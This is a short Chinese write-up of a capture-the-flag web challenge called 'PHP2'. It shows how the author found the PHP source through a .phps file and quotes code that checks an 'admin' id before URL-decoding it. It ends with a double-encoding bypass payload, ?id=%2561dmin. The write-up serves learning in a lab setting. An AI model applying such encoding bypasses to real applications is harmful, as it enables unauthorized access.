PHP2
进去页面之后,看着提示一脑迷。。看了wp才知道访问index.phps
知识点
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替.
思路
这里dirsearch扫到了index.php,然后根据题目PHP2,试着加入后缀phps,爆出源码。
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
直接二次编码绕过
?id=%2561dmin
注意这里应该在index.php文件里进行传参,因为index.phps只是个源代码,传参会没用。